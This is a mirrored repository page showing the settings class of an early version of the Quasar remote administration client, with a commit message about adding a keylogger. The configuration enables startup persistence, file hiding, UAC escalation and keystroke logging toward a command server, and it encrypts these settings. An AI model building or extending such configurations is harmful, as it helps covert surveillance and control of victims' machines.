mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-20 07:21:01 +08:00
62826a39e6
-added hookless keylogger class with unicode support -logs on keylogger class are saved in html format -added keylogger form using webbrowser to load the log as an html file -added context menu keylogger option under surveillance -started keylogger setting enable/disable on client file execution (didn't complete this, wasn't sure how to do it properly. just added the setting in the settings class and in program class for the logic. only thing left is the server side stuff) left todo: -encryption/decryption of logs if desired -options to enable/disable when building client, etc...
61 lines
2.3 KiB
C#
61 lines
2.3 KiB
C#
using System;
|
|
|
|
#if !DEBUG
|
|
using xClient.Core.Encryption;
|
|
#endif
|
|
|
|
namespace xClient.Config
|
|
{
|
|
public static class Settings
|
|
{
|
|
#if DEBUG
|
|
public static string VERSION = "1.0.0.0d";
|
|
public static string HOST = "localhost";
|
|
public static ushort PORT = 4782;
|
|
public static int RECONNECTDELAY = 5000;
|
|
public static string PASSWORD = "1234";
|
|
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
|
public static string SUBFOLDER = "Test";
|
|
public static string INSTALLNAME = "test.exe";
|
|
public static bool INSTALL = false;
|
|
public static bool STARTUP = false;
|
|
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
|
|
public static string STARTUPKEY = "Test key";
|
|
public static bool HIDEFILE = false;
|
|
public static bool ENABLEUACESCALATION = false;
|
|
public static bool ENABLELOGGER = true;
|
|
|
|
public static void Initialize()
|
|
{
|
|
}
|
|
#else
|
|
public static string VERSION = "1.0.0.0r";
|
|
public static string HOST = "localhost";
|
|
public static ushort PORT = 4782;
|
|
public static int RECONNECTDELAY = 5000;
|
|
public static string PASSWORD = "1234";
|
|
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
|
public static string SUBFOLDER = "SUB";
|
|
public static string INSTALLNAME = "INSTALL";
|
|
public static bool INSTALL = false;
|
|
public static bool STARTUP = true;
|
|
public static string MUTEX = "MUTEX";
|
|
public static string STARTUPKEY = "STARTUP";
|
|
public static bool HIDEFILE = true;
|
|
public static bool ENABLEUACESCALATION = true;
|
|
public static bool ENABLELOGGER = true;
|
|
public static string ENCRYPTIONKEY = "ENCKEY";
|
|
|
|
public static void Initialize()
|
|
{
|
|
VERSION = AES.Decrypt(VERSION, ENCRYPTIONKEY);
|
|
HOST = AES.Decrypt(HOST, ENCRYPTIONKEY);
|
|
PASSWORD = AES.Decrypt(PASSWORD, ENCRYPTIONKEY);
|
|
SUBFOLDER = AES.Decrypt(SUBFOLDER, ENCRYPTIONKEY);
|
|
INSTALLNAME = AES.Decrypt(INSTALLNAME, ENCRYPTIONKEY);
|
|
MUTEX = AES.Decrypt(MUTEX, ENCRYPTIONKEY);
|
|
STARTUPKEY = AES.Decrypt(STARTUPKEY, ENCRYPTIONKEY);
|
|
}
|
|
#endif
|
|
}
|
|
} |